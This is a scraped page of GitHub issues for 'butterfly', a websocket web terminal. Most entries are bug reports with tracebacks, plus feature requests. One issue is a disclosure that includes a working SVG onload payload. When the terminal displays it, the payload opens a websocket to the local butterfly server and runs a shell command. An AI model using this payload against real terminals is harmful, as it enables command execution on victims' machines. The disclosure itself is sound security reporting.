paradoxxxzero / butterfly Goto Github PK
View Code? Open in Web Editor NEWA web terminal based on websocket and tornado
Home Page: http://paradoxxxzero.github.io/2014/02/28/butterfly.html
License: Other
A web terminal based on websocket and tornado
Home Page: http://paradoxxxzero.github.io/2014/02/28/butterfly.html
License: Other
for security reasons, how can i disable SSL for POODLE attacks ?
I tried to set this up on my box behind a reverse proxy (nginx) so that I could provide some form of authentication and not have to open up another port, amongst other reasons. In my nginx config I had:
location /butterfly {
rewrite ^/butterfly/?(.*) /$1 break;
proxy_pass http://localhost:57575;
}
This worked fine in that it loaded the homepage, but unfortunately all the static assets were trying to be loaded from /static/
, and I needed them to be from /butterfly/static/
. I messed around with the source a bit, including setting http_path
inside the static directory and rebuilding, but to no avail. If you can provide a pointer on how this might be fixed I can take a stab and submit a PR, but I'm not sure on where to start.
As great as this is (and I really do want to abuse this feature), I think this needs to be disabled for now. Here's why:
You can gain remote code execution via just displaying something (e.g. I didn't expect curl
to run untrusted code as me from the internet)
Payload:
<svg width="100" height="100">
<circle onload="var ws = new WebSocket('ws://localhost:57575/ws');ws.addEventListener('open', f
unction () {ws.send('Stouch /tmp/pwned\n');});" cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
The security to prevent this won't trigger, since it's from the local elements.
โ ~ /usr/local/bin/butterfly.server.py --unsecure
[E 140425 16:53:41 websocket:325] Uncaught exception in /ws/
Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/tornado/websocket.py", line 322, in wrapper
return callback(_args, *_kwargs)
File "/usr/local/lib/python2.7/site-packages/butterfly/routes.py", line 248, in open
self.pty()
File "/usr/local/lib/python2.7/site-packages/butterfly/routes.py", line 104, in pty
self.communicate()
File "/usr/local/lib/python2.7/site-packages/butterfly/routes.py", line 183, in communicate
os.ttyname(self.fd), os.ctermid()))
OSError: [Errno 0] Error
Hi!
Scrolling is not working in Google Chrome (30.0.1599.114) under Debian 7.
In Firefox it works just fine.
i follow the instructions on your blog, but on the step Importing the user client authentication file
, i download the foo.p12
on my windows and import it into my chrome, but when i run the server the chrome shows "The server must be run as root if you want to log as different user ", and the server shows:
[E 140615 07:05:25 websocket:319] Uncaught exception in /ws/
Traceback (most recent call last):
File "/usr/lib64/python2.6/site-packages/tornado/websocket.py", line 316, in wrapper
return callback(*args, **kwargs)
File "/usr/lib/python2.6/site-packages/butterfly/routes.py", line 295, in on_message
fcntl.ioctl(self.fd, termios.TIOCSWINSZ, s)
IOError: [Errno 9] Bad file descriptor
Hi, butterfly
is something amazing. It's very fast and do his job very good :). I'm writing some program which is use jq-console and pty.js. But in first program such as mc
did not work. And second do not work properly (maybe you could help me with this).
Would be great if you make client part of butterfly
as independent module to use it in other applications like my :).
Any way, what you do is a great thing :), thank you.
Hello. When I try to open session - get 'reset connection' and this error:
$ butterfly.server.py --login --host=10.1.8.122 --port=9999
[W 141120 14:34:01 iostream:1184] SSL Error on 4 ('10.1.8.122', 58746): [Errno 1] _ssl.c:510: error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request
[E 141120 14:34:01 http1connection:683] Uncaught exception
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/tornado/http1connection.py", line 674, in _server_request_loop
ret = yield conn.read_response(request_delegate)
File "/usr/local/lib/python2.7/dist-packages/tornado/gen.py", line 628, in run
value = future.result()
File "/usr/local/lib/python2.7/dist-packages/tornado/concurrent.py", line 109, in result
raise_exc_info(self._exc_info)
File "/usr/local/lib/python2.7/dist-packages/tornado/gen.py", line 631, in run
yielded = self.gen.throw(*sys.exc_info())
File "/usr/local/lib/python2.7/dist-packages/tornado/http1connection.py", line 165, in _read_message
io_loop=self.stream.io_loop)
File "/usr/local/lib/python2.7/dist-packages/tornado/gen.py", line 628, in run
value = future.result()
File "/usr/local/lib/python2.7/dist-packages/tornado/concurrent.py", line 111, in result
raise self._exception
SSLError: [Errno 1] _ssl.c:510: error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request
^CTraceback (most recent call last):
File "/usr/local/bin/butterfly.server.py", line 258, in <module>
ioloop.start()
File "/usr/local/lib/python2.7/dist-packages/tornado/ioloop.py", line 812, in start
event_pairs = self._impl.poll(poll_timeout)
KeyboardInterrupt
$ openssl version -a
OpenSSL 1.0.1f 6 Jan 2014
built on: Wed Oct 15 17:43:26 UTC 2014
platform: debian-amd64
options: bn(64,64) rc4(16x,int) des(idx,cisc,16,int) blowfish(idx)
compiler: cc -fPIC -DOPENSSL_PIC -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -m64 -DL_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -D_FORTIFY_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DMD32_REG_T=int -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DAES_ASM -DVPAES_ASM -DBSAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM
typing exit led to an infinite loop in the client side JavaScript, and this furious looping error in the shell:
[E 140303 10:04:15 ioloop:491] Exception in callback <function wrapped at 0x106fdaed8>
Traceback (most recent call last):
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/ioloop.py", line 688, in start
self._handlers[fd](fd, events)
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/stack_context.py", line 331, in wrapped
raise_exc_info(exc)
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/stack_context.py", line 302, in wrapped
ret = fn(*args, **kwargs)
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/butterfly/routes.py", line 257, in shell_handler
self.write_message(read.decode('utf-8', 'replace'))
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/websocket.py", line 178, in write_message
raise WebSocketClosedError()
WebSocketClosedError
Looks like PermissionError is a python3 only thing. This broke compatability with python2.7.
[E 140424 17:54:48 websocket:325] Uncaught exception in /ws/
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/tornado/websocket.py", line 322, in wrapper
return callback(*args, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/butterfly/routes.py", line 248, in open
self.pty()
File "/usr/local/lib/python2.7/dist-packages/butterfly/routes.py", line 102, in pty
self.shell()
File "/usr/local/lib/python2.7/dist-packages/butterfly/routes.py", line 145, in shell
except PermissionError:
NameError: global name 'PermissionError' is not defined
[E 140424 17:54:48 ioloop:491] Exception in callback None
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/tornado/ioloop.py", line 688, in start
self._handlers[fd](fd, events)
KeyError: 17
I was thinking about this today: without having to sign in, anyone on my network could knock my ip address and port number and find this running, then execute arbitrary commands on my behalf! Though they're not running as root, they could do some real damage to my files. You should put a warning about this in the readme and recommend setting up a local firewall before running this. Maybe it's possible to check for this in the server, unless this is meant to be run on remote machines.
A nice feature would be adding an option to override or extend the terminal style and easily add js modules.
As a first step adding an option to the server command would be enough but an in browser way could be a great plus. Allowing easy share of themes and extensions could be great too.
>pip install butterfly
>butterfly.server.py
Traceback (most recent call last):
File "C:\python33\scripts\butterfly.server.py", line 53, in <module>
from butterfly import application
File "C:\Python33\lib\site-packages\butterfly\__init__.py", line 54, in <module>
import butterfly.routes
File "C:\Python33\lib\site-packages\butterfly\routes.py", line 19, in <module>
import pty
File "C:\Python33\lib\pty.py", line 11, in <module>
import tty
File "C:\Python33\lib\tty.py", line 5, in <module>
from termios import *
ImportError: No module named 'termios'
This was on Windows
Python 3.3.2 (v3.3.2:d047928ae3f6, May 16 2013, 00:03:43) [MSC v.1600 32 bit (Intel)] on win32
When I try to connect using the generated certificate from safari browser I get automatically disconnected (I see the CLOSED screen) and in the server logs appears the following:
[E 141022 07:30:09 http1connection:683] Uncaught exception
Traceback (most recent call last):
File "/home/ubuntu/.virtualenvs/test/local/lib/python2.7/site-packages/tornado/http1connection.py", line 674, in _server_request_loop
ret = yield conn.read_response(request_delegate)
File "/home/ubuntu/.virtualenvs/test/local/lib/python2.7/site-packages/tornado/gen.py", line 628, in run
value = future.result()
File "/home/ubuntu/.virtualenvs/test/local/lib/python2.7/site-packages/tornado/concurrent.py", line 109, in result
raise_exc_info(self._exc_info)
File "/home/ubuntu/.virtualenvs/test/local/lib/python2.7/site-packages/tornado/gen.py", line 631, in run
yielded = self.gen.throw(*sys.exc_info())
File "/home/ubuntu/.virtualenvs/test/local/lib/python2.7/site-packages/tornado/http1connection.py", line 165, in _read_message
io_loop=self.stream.io_loop)
File "/home/ubuntu/.virtualenvs/test/local/lib/python2.7/site-packages/tornado/gen.py", line 628, in run
value = future.result()
File "/home/ubuntu/.virtualenvs/test/local/lib/python2.7/site-packages/tornado/concurrent.py", line 111, in result
raise self._exception
SSLError: [Errno 8] _ssl.c:510: EOF occurred in violation of protocol
If I try connecting with chrome browser the error still appears on the server, but everything works as it should... Any ideas what could be happening? If I run in unsecure mode everything works in both safari and chrome. Thanks in advance!
stack trace:
[E 140228 15:13:30 tcpserver:245] Error in connection callback
Traceback (most recent call last):
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/tcpserver.py", line 243, in _handle_connection
self.handle_stream(stream, address)
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/httpserver.py", line 158, in handle_stream
self.no_keep_alive, self.xheaders, self.protocol)
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/httpserver.py", line 189, in __init__
self.stream.read_until(b"\r\n\r\n", self._header_callback)
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/iostream.py", line 163, in read_until
self._try_inline_read()
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/iostream.py", line 450, in _try_inline_read
self._maybe_add_error_listener()
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/iostream.py", line 600, in _maybe_add_error_listener
self._add_io_state(ioloop.IOLoop.READ)
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/iostream.py", line 630, in _add_io_state
self.fileno(), self._handle_events, self._state)
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/ioloop.py", line 545, in add_handler
self._impl.register(fd, events | self.ERROR)
File "/usr/local/Cellar/python/2.7.6/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/tornado/platform/kqueue.py", line 40, in register
raise IOError("fd %d already registered" % fd)
IOError: fd 22 already registered
Just installed on mac os via sudo pip install butterfly
. Ran butterfly.server.py
and visited http://localhost:57575/
in Chrome or Firefox. Blank screen. Looked at source code, found that the request for javascripts/main.js
returns 404: Not Found
.
Terminal output looks like:
[I 140301 14:23:20 web:1462] 304 GET / (127.0.0.1) 0.64ms
[W 140301 14:23:20 web:1462] 404 GET /static/stylesheets/main.css?v=fb916 (127.0.0.1) 0.41ms
[W 140301 14:23:20 web:1462] 404 GET /static/javascripts/main.js?v=5b7f0 (127.0.0.1) 0.41ms
[W 140302 09:49:43 web:1462] 404 GET /favicon.ico (127.0.0.1) 3.07ms
[W 140302 09:49:47 web:1462] 404 GET /static/javascripts/main.js?v=5b7f0 (127.0.0.1) 0.46ms
[W 140302 09:49:50 web:1462] 404 GET /static/javascripts/main.js (127.0.0.1) 0.28ms
Any ideas?
I am trying to start butterfly on ubuntu through upstart, but for some reason it just hangs. I think it has something to do with used libraries as explained here (http://stackoverflow.com/questions/8506002/tornadoweb-webapp-cannot-be-managed-via-upstart)
Hi,
On OS X, Chrome and a Finnish keymap, I can't type $
(Alt-4), because my shell sees that the same as -4, e.g. "repeat next key 4 times". I guess this'd be a non-issue on an OS that used an AltGr key for that, but it definitely cripples Butterfly on Mac.
I have no idea how terminals do this kinda stuff, otherwise I'd try my hand at a patch. I mean, it seems to stem the fact that all Alt-modified keypresses get sent as Esc-something. Could the solution be only mapping, say, left Alt to Esc on OS X?
I use gentoo amd64.
butterfly-1.2.6 from pypi , tornado 3.2
in latest stable chrome tab with butterfly instantly terminated ..
in latest stable firefox works without problems
The text shadow really does not help the readability, especially with highly-coloured things like vim+solarised or TMUX/byobu.
What does everyone else think? It could be an option to switch off or simply disabled.
I use iTerm2 and love being able to use command+d or command+shift+d to split terminal windows. That would be sweet.
Butterfly does not run under Cygwin/Windows because there are no /proc/net/tcp.
utils.py will needs to be rewritten for Cygwin/Windows.to work
utils.py code
def get_socket_line(port):
try:
with open('/proc/net/tcp') as k:
lines = k.readlines()
for line in lines:
# Look for local address with peer port
if line.split()[1] == '0100007F:%X' % port:
# We got the socket
return line.split()
The following Windows/Cygwin command shows listening ports
$ netstat -a -n
TCP 0.0.0.0:30001 0.0.0.0:0 LISTENING
Linux version of the same command
$ netstat -a -n
tcp 0 0 0.0.0.0:30001 0.0.0.0:* LISTEN
Here is how to install Butterfly under Windows/Cygwin
Install gcc in cygwin
Install python in cygwin
$ curl https://raw.github.com/pypa/pip/master/contrib/get-pip.py > get-pip.py
$ python get-pip.py
$ pip install butterfly
Create a Local Windows user named daemon
Make sure daemon is in the Cygwin /etc/passwd file
$ mkpasswd.exe -l > /etc/passwd
Test that the daemon user exists
$ id daemon
uid=1005(daemon) gid=513(None) groups=513(None),545(Users)
How to reproduce the error
$ butterfly.server.py
[E 140303 00:26:14 utils:78] getting socket inet4 line fail
Traceback (most recent call last):
File "/usr/lib/python2.7/site-packages/butterfly/utils.py", line 70, in get_socket_line
with open('/proc/net/tcp') as k:
IOError: [Errno 2] No such file or directory: '/proc/net/tcp'
[E 140303 00:26:14 utils:90] getting socket inet6 line fail
Traceback (most recent call last):
File "/usr/lib/python2.7/site-packages/butterfly/utils.py", line 81, in get_socket_line
with open('/proc/net/tcp6') as k:
IOError: [Errno 2] No such file or directory: '/proc/net/tcp6'
[E 140303 00:26:14 websocket:325] Uncaught exception in /ws/
Traceback (most recent call last):
File "/usr/lib/python2.7/site-packages/tornado/websocket.py", line 322, in wrapper
return callback(_args, *_kwargs)
File "/usr/lib/python2.7/site-packages/butterfly/routes.py", line 195, in open
self.log.info('Websocket opened %r' % self.socket)
File "/usr/lib/python2.7/site-packages/butterfly/utils.py", line 148, in repr
self.uid, self.inode, len(self.env))
TypeError: object of type 'NoneType' has no len()
[W 140303 00:26:14 routes:263] pid is 0
I've tried fronting butterfly using both nginx and haproxy.
In both causes, http works but https does not.
Using https, butterfly says "closed".
Here is the haproxy server log
0000002a:https-in.clireq[0009:ffffffff]: GET /ws/ HTTP/1.1
0000002a:https-in.clihdr[0009:ffffffff]: Host: cloud1
0000002a:https-in.clihdr[0009:ffffffff]: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0
0000002a:https-in.clihdr[0009:ffffffff]: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
0000002a:https-in.clihdr[0009:ffffffff]: Accept-Language: en-US,en;q=0.5
0000002a:https-in.clihdr[0009:ffffffff]: Accept-Encoding: gzip, deflate
0000002a:https-in.clihdr[0009:ffffffff]: Sec-WebSocket-Version: 13
0000002a:https-in.clihdr[0009:ffffffff]: Origin: https://cloud1
0000002a:https-in.clihdr[0009:ffffffff]: Sec-WebSocket-Key: vf6ujpm1kHdKvPiLnZ4/pw==
0000002a:https-in.clihdr[0009:ffffffff]: Connection: keep-alive, Upgrade
0000002a:https-in.clihdr[0009:ffffffff]: Pragma: no-cache
0000002a:https-in.clihdr[0009:ffffffff]: Cache-Control: no-cache
0000002a:https-in.clihdr[0009:ffffffff]: Upgrade: websocket
0000002a:butterfly.srvrep[0009:000a]: HTTP/1.1 101 Switching Protocols
0000002a:butterfly.srvhdr[0009:000a]: Upgrade: websocket
0000002a:butterfly.srvhdr[0009:000a]: Connection: Upgrade
0000002a:butterfly.srvhdr[0009:000a]: Sec-WebSocket-Accept: 1RqIMKyS1J/e61gr4iKF4LMJ5I0=
0000002a:butterfly.srvcls[0009:000a]
0000002a:butterfly.clicls[0009:000a]
0000002a:butterfly.closed[0009:000a]
Started butterfly:
butterfly.server.py --host="0.0.0.0"
When I try to connect using my login I receive the following:
Uncaught exception in /ws/
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/tornado/websocket.py", line 322, in wrapper
return callback(_args, *_kwargs)
File "/usr/local/lib/python2.7/dist-packages/butterfly/routes.py", line 196, in open
self.pty()
File "/usr/local/lib/python2.7/dist-packages/butterfly/routes.py", line 91, in pty
self.shell()
File "/usr/local/lib/python2.7/dist-packages/butterfly/routes.py", line 97, in shell
user = input('login: ')
File "", line 1, in
NameError: name 'mihai' is not defined
Traceback (most recent call last):
File "/usr/local/bin/butterfly.server.py", line 66, in
ioloop.start()
File "/usr/local/lib/python2.7/dist-packages/tornado/ioloop.py", line 662, in start
event_pairs = self._impl.poll(poll_timeout)
IOError: [Errno 9] Bad file descriptor
python /usr/bin/butterfly.server.py --host=0.0.0.0 --unsecure --debug
[I 140620 10:23:42 butterfly.server:65] Starting server
[I 140620 10:23:42 butterfly.server:242] Starting loop
[I 140620 10:23:45 web:1856] 304 GET / (10.64.40.150) 4.71ms
[I 140620 10:23:45 web:1856] 304 GET /style.css (10.64.40.150) 0.89ms
[I 140620 10:23:45 web:1856] 304 GET /static/main.min.js?v=b60634a407fc15f570885bb2aab8077c (10.64.40.150) 8.22ms
[I 140620 10:23:45 routes:254] Websocket opened <Socket L: 10.64.91.200:57575 R: 10.64.40.150:60423 User: None>
[I 140620 10:23:45 routes:309] READ>'login: '
[I 140620 10:23:45 routes:296] SIZE (182, 64)
[I 140620 10:23:47 routes:298] WRIT<u'Sr'
[I 140620 10:23:47 routes:309] READ>'r'
[I 140620 10:23:48 routes:298] WRIT<u'So'
[I 140620 10:23:48 routes:309] READ>'o'
[I 140620 10:23:48 routes:298] WRIT<u'So'
[I 140620 10:23:48 routes:309] READ>'o'
[I 140620 10:23:48 routes:298] WRIT<u'St'
[I 140620 10:23:48 routes:309] READ>'t'
[I 140620 10:23:48 routes:298] WRIT<u'S\r'
[I 140620 10:23:48 routes:309] READ>'\r\n'
[I 140620 10:23:48 routes:309] READ>'Password: '
[I 140620 10:23:49 routes:298] WRIT<u'Sw'
[I 140620 10:23:49 routes:298] WRIT<u'Sx'
[I 140620 10:23:49 routes:298] WRIT<u'S2'
[I 140620 10:23:49 routes:298] WRIT<u'Sj'
[I 140620 10:23:49 routes:298] WRIT<u'Se'
[I 140620 10:23:50 routes:298] WRIT<u'Sa'
[I 140620 10:23:50 routes:298] WRIT<u'Sc'
[I 140620 10:23:50 routes:298] WRIT<u'Se'
[I 140620 10:23:50 routes:298] WRIT<u'Sn'
[I 140620 10:23:50 routes:298] WRIT<u'S\r'
[I 140620 10:23:50 routes:309] READ>'\r\n'
[I 140620 10:23:52 routes:309] READ>'su: Permission denied\r\n'
[I 140620 10:23:52 routes:316] Error on fd 11, closing
[I 140620 10:23:52 routes:322] Closing fd 11
[I 140620 10:23:52 routes:344] Websocket closed
Hi,
Butterfly seems to work great on Mac OS X. I used sudo easy_install pip, and then installed via pip. However the server does constantly spew out these messages:
E 140228 12:35:36 ioloop:491] Exception in callback <function wrapped at 0x108de5230>
Traceback (most recent call last):
File "/Library/Python/2.7/site-packages/tornado/ioloop.py", line 688, in start
self._handlers[fd](fd, events)
File "/Library/Python/2.7/site-packages/tornado/stack_context.py", line 331, in wrapped
raise_exc_info(exc)
File "/Library/Python/2.7/site-packages/tornado/stack_context.py", line 302, in wrapped
ret = fn(_args, *_kwargs)
File "/Library/Python/2.7/site-packages/butterfly/routes.py", line 242, in shell_handler
self.write_message(read.decode('utf-8', 'replace'))
File "/Library/Python/2.7/site-packages/tornado/websocket.py", line 178, in write_message
raise WebSocketClosedError()
WebSocketClosedError
Hi @paradoxxxzero! I don't know if this is a bug in Julia or Butterfly, but I get:
ismaelvc@toybox ~> julia
ERROR: error compiling banner: could not load module libopenlibm: libopenlibm: cannot open shared object file: No such file or directory
I have tried in Terminology, Konsole, Xterm, and it only gives me this error in Butterfly.
Using su to login is kind of hackish.
It would be better to use some more standard way as mentionned here:
http://www.reddit.com/r/linux/comments/1z6gif/butterfly_your_everyday_terminal_in_your_web/cfr3tzr
At least I think that's the problem. The error is:
bash: __git_ps1: command not found
which I believe comes from this line of my .bash_profile
:
export PS1='[\!] \w$(__git_ps1) \$ '
Earlier in my .bash_profile
, I have:
if [ -f /usr/local/etc/bash_completion.d/git-prompt.sh ]; then
. /usr/local/etc/bash_completion.d/git-prompt.sh
fi
Using the latest (1.4.0) with cert auth, when user is logged in, running id
gets following result
uid=1000(vasili) gid=0(root) groups=1000(vasili),0(root)
if I do sudo - vasili
and run id
again, i get following
uid=1000(vasili) gid=1000(vasili) groups=1000(vasili),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),111(lpadmin),112(sambashare)
Because of this i cannot do things like sudo su -
since I don't have the sudo group.
This is minor, since I can elevate myself to my original user and then elevate to root from that, but it would be nice if I got all my correct groups right away.
Typing user name and password every time is painful. I know you don't support ssh-key.
Maybe you can support a way to save user name and password in the browser, if the user really know what he is doing.
Systemd provides native support for socket-activated daemons. It would be great butterfly could be started on the socket passed in via systemd. After some timeout period where there is no websocket activity the service could timeout and exit gracefully.
Currently the initial butterfly screen is rendered by the function def motd(socket):.
It would be great if that function would simply return the content of a file.
That way we can change the file to fit our needs.
Use a good script stripping method to clean the inserted html to avoid mailicious script injection.
http://stackoverflow.com/questions/6659351/removing-all-script-tags-from-html-with-js-regular-expression
and https://github.com/LiftoffSoftware/htmltag/blob/master/htmltag.py#L186
could be a start.
Well, technically this should work under win, shouldn't it? But Windows does not have the os.getuid()
command, which is on line 71 in the server file. Any workarounds or plans to release a windows compatible butterfly?
Safari Version 8.0.3 (10600.3.18)
OSX 10.10.2
I didn't find any docs on it, tried running build.sh on my machine and it printed the javascript on stdout... I don't know how to continue after this.
There is an awesome tunneling service called ngrok, which allows you to create tunnels with TLS/Basic Auth from your local port.
The problem is that it seems that butterfly blocks requests from external networks (it closes the window immediatelly), am I right? Is there a way to create a external tunneling with butterfly?
I'm from China & we use GBK/GB2312 to read Chinese, IME to input Chinese.
We'll be glad to see butterfly support GBK output & IME input
Hey, I think this could be the new best thing for me.
Just one thing, I would either like to learn how to modify it myself or see an example, but I would like to make it a bit more context sensitive, e.g. allow me to click on urls, and copy paths.
Any ideas?
It would be great to have this server written in C in order to make it work on Android or FirefoxOS.
unable to connect to butterfly with chrome behind proxy.
i got err_tunnel_connection_failed every time.
without proxy is working fine.
And maybe copy aswell.
URL like /session/sessionName could be used to name a terminal instance and keeping it even if the browser is closed and reopened. Using websockets it would be easy to get a similar functionality than screen -x
I was wondering why the session does not write an entry into wtmp. the command "who" does not display that butterfly-ed user. It can be found by "ps -ef|grep pts":
[harish@vostro ~]$ who
harish :0 2014-03-29 00:19 (:0)
harish pts/0 2014-04-02 17:19 (:0)
harish pts/1 2014-04-02 09:28 (:0)
[harish@vostro ~]$ ps -ef|grep pts
harish 14299 23456 0 17:19 pts/0 00:00:00 bash
harish 22584 25409 0 21:31 pts/1 00:00:02 mutt
harish 24814 14299 0 22:25 pts/0 00:00:00 /usr/bin/python /usr/bin/butterfly.server.py --unsecure
harish 25409 23456 0 09:28 pts/1 00:00:00 bash
harish 25742 24814 0 22:39 pts/3 00:00:00 /bin/bash -i
harish 25794 14299 0 22:40 pts/0 00:00:00 ps -ef
harish 25795 14299 0 22:40 pts/0 00:00:00 grep --color=auto pts
On the console:
6955kHz# butterfly.server.py --host "10.69.0.2"
Traceback (most recent call last):
File "/usr/local/bin/butterfly.server.py", line 30, in <module>
tornado.options.parse_command_line()
File "/usr/local/lib/python2.7/site-packages/tornado/options.py", line 511, in parse_command_line
return options.parse_command_line(args, final=final)
File "/usr/local/lib/python2.7/site-packages/tornado/options.py", line 248, in parse_command_line
raise Error('Option %r requires a value' % name)
tornado.options.Error: Option 'host' requires a value
6955kHz# butterfly.server.py --host="10.69.0.2"
[E 140228 23:47:37 utils:75] getting socket inet4 line fail
Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/butterfly/utils.py", line 67, in get_socket_line
with open('/proc/net/tcp') as k:
IOError: [Errno 2] No such file or directory: '/proc/net/tcp'
[E 140228 23:47:37 utils:87] getting socket inet6 line fail
Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/butterfly/utils.py", line 78, in get_socket_line
with open('/proc/net/tcp6') as k:
IOError: [Errno 2] No such file or directory: '/proc/net/tcp6'
On the web app:
[E 140228 23:42:31 websocket:325] Uncaught exception in /ws/
Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/tornado/websocket.py", line 322, in wrapper
return callback(*args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/butterfly/routes.py", line 216, in open
self.pty()
File "/usr/local/lib/python2.7/site-packages/butterfly/routes.py", line 103, in pty
self.shell()
File "/usr/local/lib/python2.7/site-packages/butterfly/routes.py", line 158, in shell
os.execvpe('/bin/su', args, env)
File "/usr/local/lib/python2.7/os.py", line 353, in execvpe
_execvpe(file, args, env)
File "/usr/local/lib/python2.7/os.py", line 368, in _execvpe
func(file, *argrest)
OSError: [Errno 2] No such file or directory
Traceback (most recent call last):
File "/usr/local/bin/butterfly.server.py", line 66, in <module>
ioloop.start()
File "/usr/local/lib/python2.7/site-packages/tornado/ioloop.py", line 662, in start
event_pairs = self._impl.poll(poll_timeout)
File "/usr/local/lib/python2.7/site-packages/tornado/platform/kqueue.py", line 67, in poll
kevents = self._kqueue.control(None, 1000, timeout)
OSError: [Errno 9] Bad file descriptor
FreeBSD doesn't have /proc/net/*
(neither with linprocfs
) :(
Edit: my cat jumped on the keyboard and submitted the issue too soon. I'll be adding details asap fixed, full issue submitted :)
Running on CentOS 6 I get the following error when running as a non-root user. It seems only root can read from /proc/net
.
Very cool software.
When I'm in vim, I use shift+arrow up/down to jump up or down by a page. In butterfly, vim goes into insert mode and inserts 1;4B
for instance when I hit shift down.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.